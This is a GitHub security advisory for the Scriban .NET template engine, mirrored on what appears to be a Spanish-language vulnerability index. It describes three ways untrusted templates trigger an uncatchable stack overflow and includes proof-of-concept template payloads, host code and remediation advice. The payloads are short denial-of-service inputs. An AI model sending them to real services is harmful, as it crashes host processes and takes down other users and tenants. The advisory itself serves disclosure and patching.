GHSA-MVMW-9JXC-7PR2
Three template-only paths raise an uncatchable StackOverflowException under default limits (postfix chains bypass ExpressionDepthLimit; array comparison and `object.eval` recursion are unguarded)
Texto original en inglés · Ver en español
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-MVMW-9JXC-7PR2 divulgada · CVSS 7.5 (GitHub) | |
| Remediación | Parche 7.5.3 | Scriban · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Severity: High — CVSS 3.1 7.5 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
- AV:N / PR:N / UI:N: any application that renders attacker-supplied templates (the use case the "safe runtime" targets) can be hit by a single request; the scoring matches the earlier advisories for this family (GHSA-wgh7-7m3c-fx25, GHSA-xcx6-vp38-8hr5).
- AC:L: no special host configuration. Default `ParserOptions` and `new TemplateContext()`.
- A:H: a `StackOverflowException` cannot be caught in .NET. The whole host process terminates, taking every other request and tenant with it.
- C/I:N: no data exposure.
Packages: NuGet `Scriban`, `Scriban.Signed`
Affected versions: <= 7.5.2 (verified on 7.5.1 = master `eb8d441`). Earlier versions not checked individually; the code paths below predate the 7.x depth-limit fixes.
Patched versions: 7.5.3
Description
Scriban's documented safety controls for untrusted templates are `ParserOptions.ExpressionDepthLimit` (default 250, "disallow deep/potential stack-overflow exploits"), `RecursiveLimit` (100) and `ObjectRecursionLimit` (20). Three code paths bypass all of them, so a small template crashes the host process with a stack overflow:
- Postfix chains bypass `ExpressionDepthLimit`. The member (`.a`, `?.a`), indexer (`[0]`) and explicit-call (`(1)`) postfix loop in `src/Scriban/Parsing/Parser.Expressions.cs` (member loop ~L241-293, indexer ~L315-337, call ~L648-707) never calls `EnterExpression()`; the binary-operator path does (~L428). The loop is iterative, but the AST it builds nests N deep. Evaluation then recurses once per link: `ScriptMemberExpression.GetTargetObject` (`Syntax/Expressions/ScriptMemberExpression.cs` ~L136) → `TemplateContext.GetValue` → `GetOrSetValue` (`TemplateContext.cs` ~L1336), and `ScriptIndexerExpression.GetOrSetValue` (~L104). `ScriptPrinter` (`ToText()`) and `ScriptRewriter`/`ScriptFormatter` recurse on the same AST without a guard. Affects both `Template.Parse` and `Template.ParseLiquid`. Every other nesting form (binary operators, pipes, parentheses, unary operators, `if`/`for`/`else if`/`when`/`capture`/`func` nesting, array and object literals) is correctly stopped with "statement depth limit `250` was reached".
- Array comparison recurses without a guard. `ScriptArray.CompareTo` (`src/Scriban/Runtime/ScriptArray.cs` ~L617-655) compares element-wise through `ScriptBinaryExpression.Evaluate` with no depth limit, no `ObjectRecursionLimit` check and no cycle detection. `==`, `!=`, `<`, `<=`, `>`, `>=` on a self-referential array, or on two arrays ~450 levels deep (buildable within the default `LoopLimit`), overflow the stack. Printing, `object.to_json`, `array.join`, `array.compact` and string concatenation on the same cyclic array all throw the catchable "Structure is too deeply nested or contains reference loops"; only comparison is unguarded.
- `object.eval` / `object.eval_template` bypass `RecursiveLimit`. `ObjectFunctions.Eval` (`src/Scriban/Functions/ObjectFunctions.cs` ~L72) and `EvalTemplate` (~L127) parse and evaluate a nested page without `context.EnterRecursive`, so a string that evaluates itself recurses until the stack is gone. Their `catch (Exception ex) { throw new ArgumentException(...) }` blocks also run exception dispatch on an almost-full stack (the overflow is reported inside `System.Runtime.EH.DispatchEx`). By contrast, a self-`include` correctly throws `Exceeding number of recursive depth limit 100`.
Path 1 is another incomplete fix in the GHSA-wgh7-7m3c-fx25 / GHSA-p6q4-fgr8-vx4p / GHSA-6q7j-xr26-3h2c line. Path 2 is the comparison sibling of GHSA-grr9-747v-xvcp / GHSA-xcx6-vp38-8hr5.
Proof of concept
Host (defaults only, nothing exposed):
using Scriban;
using Scriban.Runtime;
var template = Template.Parse(text); // or Template.ParseLiquid for the Liquid variant
var ctx = new TemplateContext();
ctx.PushGlobal(new ScriptObject());
template.Render(ctx); // process terminatesTemplates (each one crashes the process; tested on .NET 10.0.13, Windows x64, main thread with a 1 MB stack):
// 1. postfix chain: ~4 KB, parses with HasErrors == false
var text = "{{ x = {}; x" + string.Concat(Enumerable.Repeat(".a", 2000)) + " }}";
// variants: "[0]" x 800+, "?.a" x 3000, "f(1)" x 3000; Liquid: "{{ x" + ".a" x 3000 + " }}" via ParseLiquid.
// Page.Format(...) overflows at ~5000 links, ToText() at ~100000 links.{{ a = [1]; a[0] = a; b = [1]; b[0] = b; a == b }}
{{ a = []; b = []; for i in 1..450; a = [a]; b = [b]; end; a == b }}{{ s = 'object.eval s'; object.eval s }}
{{ s = '{{ object.eval_template s }}'; object.eval_template s }}Observed (path 1):
Stack overflow.
Repeated 1374 times:
at Scriban.TemplateContext.GetOrSetValue(Scriban.Syntax.ScriptExpression, System.Object, Boolean)
at Scriban.TemplateContext.GetValue(Scriban.Syntax.ScriptExpression)
at Scriban.Syntax.ScriptMemberExpression.GetTargetObject(Scriban.TemplateContext, Boolean)
at Scriban.Syntax.ScriptMemberExpression.GetValue(Scriban.TemplateContext)Observed (path 2): `Stack overflow. Repeated 377 times: … ScriptArray`1.CompareTo … ScriptArray`1.TryEvaluate … ScriptBinaryExpression.Evaluate`.
Observed (path 3): `Stack overflow. at System.Runtime.EH.DispatchEx(...) at Scriban.Syntax.ScriptFunctionCall.Call(...) … at Scriban.Functions.ObjectFunctions.Eval(...)`.
Thresholds on a 1 MB stack: ~1400 `.a` links, ~700 `[0]` links, ~450 nesting levels for comparison. Worker threads with smaller stacks fail sooner.
Impact
Any application that parses or renders attacker-influenced templates, or passes attacker-controlled strings to `object.eval`/`object.eval_template`, can be terminated by one request of a few KB (path 1) or under 60 bytes (paths 2 and 3). Exception handlers, `CancellationToken`, and all `TemplateContext` limits are ineffective. Recovery requires a process restart.
Suggested remediation
- Parser: call `EnterExpression()`/`LeaveExpression()` for each postfix link, so chain length counts against `ExpressionDepthLimit` and produces the usual parse error.
- `ScriptArray.CompareTo`: track depth against `ObjectRecursionLimit` (as `ObjectToString` does) and raise the same catchable error.
- `object.eval` / `object.eval_template`: wrap the nested evaluation in `EnterRecursive`/`ExitRecursive` like `include`; let `ScriptRuntimeException` pass through without re-wrapping.
- Defence in depth: call `RuntimeHelpers.EnsureSufficientExecutionStack()` (or `TryEnsureSufficientExecutionStack`) in the recursive evaluation entry points (member/indexer `GetValue`, function call, `CompareTo`, printer/rewriter visit), converting `InsufficientExecutionStackException` into a `ScriptRuntimeException`. This closes the family instead of each node type one at a time.
---
🤖 Generated with Claude Code https://claude.com/claude-code
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
nugetScriban |
Corregida | 7.5.3 | 0 d | 7.6.1 no afectada |
nugetScriban.Signed |
Corregida | 7.5.3 | 0 d | 7.6.1 no afectada |
7.5.3Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/scriban/scriban/security/advisories/GHSA-mvmw-9jxc-7pr2Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
